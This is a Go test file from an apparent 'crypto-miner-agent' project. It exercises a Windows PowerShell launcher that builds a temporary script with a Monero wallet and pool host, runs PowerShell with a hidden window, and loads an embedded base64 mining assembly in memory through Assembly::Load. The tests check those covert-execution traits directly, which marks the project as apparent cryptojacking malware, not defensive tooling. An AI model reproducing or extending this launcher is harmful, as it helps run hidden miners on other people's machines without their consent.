package miner import ( "os" "os/exec" "path/filepath" "runtime" "strings" "testing" "crypto-miner-agent/config" ) func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) { t.Helper() dir := t.TempDir() outFile := filepath.Join(dir, "ps-args.txt") if runtime.GOOS == "windows" { bat := filepath.Join(dir, "fake-powershell.cmd") body := `@echo off set OUT=%~dp0ps-args.txt echo %*>>"%OUT%" ping -n 3 127.0.0.1 >nul ` if err := os.WriteFile(bat, []byte(body), 0o755); err != nil { t.Fatal(err) } return bat, &outFile } sh := filepath.Join(dir, "fake-powershell.sh") body := `#!/bin/sh echo "$@" >> "$(dirname "$0")/ps-args.txt" sleep 1 ` if err := os.WriteFile(sh, []byte(body), 0o755); err != nil { t.Fatal(err) } return sh, &outFile } func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) { if runtime.GOOS != "windows" { t.Skip("powershell tier is Windows-only") } bin, outFile := fakePowerShellRecorder(t) SetPowerShellBinPath(bin) SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd { return exec.Command(name, args...) }) defer func() { SetPowerShellBinPath("") SetPowerShellExecCommand(nil) }() cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ BuildID: "ps-test", Wallet: "XMR:wallet123", WorkerName: "worker-ps", PoolHost: "pool.example.com", PoolPort: 3333, PoolPass: "x", }, } launcher, err := NewPowerShellLauncher(cfg) if err != nil { t.Fatalf("NewPowerShellLauncher: %v", err) } if err := launcher.Start(); err != nil { t.Fatalf("Start: %v", err) } defer launcher.Stop() script := launcher.ScriptPath() if script == "" { t.Fatal("expected ephemeral script path") } body, err := os.ReadFile(script) if err != nil { t.Fatalf("read script: %v", err) } text := string(body) if !strings.Contains(text, "XMR:wallet123") { t.Fatalf("script missing wallet: %s", text) } if !strings.Contains(text, "pool.example.com") { t.Fatalf("script missing pool host: %s", text) } if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 { args := string(data) if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") { t.Fatalf("powershell args=%q want hidden window", args) } } if !launcher.Running() { t.Fatal("Running() false after Start") } } func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) { if runtime.GOOS != "windows" { t.Skip("powershell tier is Windows-only") } bin, _ := fakePowerShellRecorder(t) SetPowerShellBinPath(bin) defer SetPowerShellBinPath("") if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil { t.Fatal("expected error without pool/wallet") } } func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) { if runtime.GOOS != "windows" { t.Skip("powershell tier is Windows-only") } bin, _ := fakePowerShellRecorder(t) SetPowerShellBinPath(bin) SetEmbeddedMiningAssemblyB64("YWJj") // "abc" defer func() { SetPowerShellBinPath("") SetEmbeddedMiningAssemblyB64("") }() cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ Wallet: "wallet", PoolHost: "p", PoolPort: 1, }, } launcher, err := NewPowerShellLauncher(cfg) if err != nil { t.Fatal(err) } body, err := launcher.buildScriptBody() if err != nil { t.Fatal(err) } if !strings.Contains(body, "Assembly]::Load") { t.Fatalf("expected Assembly.Load path, got %s", body) } }